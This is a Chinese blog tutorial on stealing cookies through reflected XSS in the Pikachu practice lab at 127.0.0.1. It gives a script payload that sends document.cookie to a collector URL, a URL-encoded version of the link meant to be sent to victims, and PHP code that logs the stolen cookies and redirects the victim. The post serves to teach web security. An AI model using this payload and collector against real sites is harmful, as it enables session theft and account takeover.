XSS攻击:获取用户的cookie(get方式)

关于XSS攻击是什么,想必大家都知道了,今天围绕百度随便找的一张流程图来完成一个获取用户的cookie的XSS实验。
在这里插入图片描述
为了和上图数字一致好看些,从序号1开始吧
0x1 用户登入
自行登入。坑自己就可以了,不要坑别人哈。

0x2 找到漏洞点,制作一个危险的url

  1. 让前端插入的js是:
    <script>document.location = 'http://127.0.0.1/pika/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
    cookie.php后面讲到攻击者的后台会把代码贴出来。

  2. 这是正常的url:
    http://127.0.0.1/pika/vul/xss/xss_reflected_get.php?message=kobe&submit=submit

  3. 用上面的js结合正常的url制作危险的url:
    http://127.0.0.1/pika/vul/xss/xss_reflected_get.php?message=&submit=submit

0x3一般攻击者发送给用户的都是经过url编码的链接:用户很容易被以xxx(127.0.0.1)开头的域名链接所欺骗
http://127.0.0.1/pika/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpika%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

0x4 web应用对攻击者的js做出回应
上面那个js脚本不仅获得了用户的cookie经过接受接口一顿操作后header("Location:http://127.0.0.1/pika/index.php");
重定向到了网站主页,让用户发现不了有什么异常。

<?php
//接收接口
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie']; //收集cookie
    $referer=$_SERVER['HTTP_REFERER']; //收集REFERER
    $useragent=$_SERVER['HTTP_USER_AGENT']; //收集USER_AGENT
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query); // 将以上所得插入数据库
}
header("Location:http://127.0.0.1/pika/index.php");//重定向到一个可信的网站,让用户察觉不到任何可疑操作

?>

0x6 窃取的数据在攻击者的后台展示



```php
<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 判断是否登录,没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from cookies where id=$id";
    execute($link, $query);
}
?>


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>cookie搜集结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取cookies结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
    <tr>
        <td>id</td>
        <td>time</td>
        <td>ipaddress</td>
        <td>cookie</td>
        <td>referer</td>
        <td>useragent</td>
        <td>删除</td>
    </tr>
    <?php 
    $query="select * from cookies";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['time']}</td>
        <td>{$data['ipaddress']}</td>
        <td>{$data['cookie']}</td>
        <td>{$data['referer']}</td>
        <td>{$data['useragent']}</td>
        <td><a href="pkxss_cookie_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
         
        echo $html;
        
        
    }
    
    ?>
    
</table>
</div>
</body>
</html>

展示的效果是这样的:
在这里插入图片描述
成功获取到cookie

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值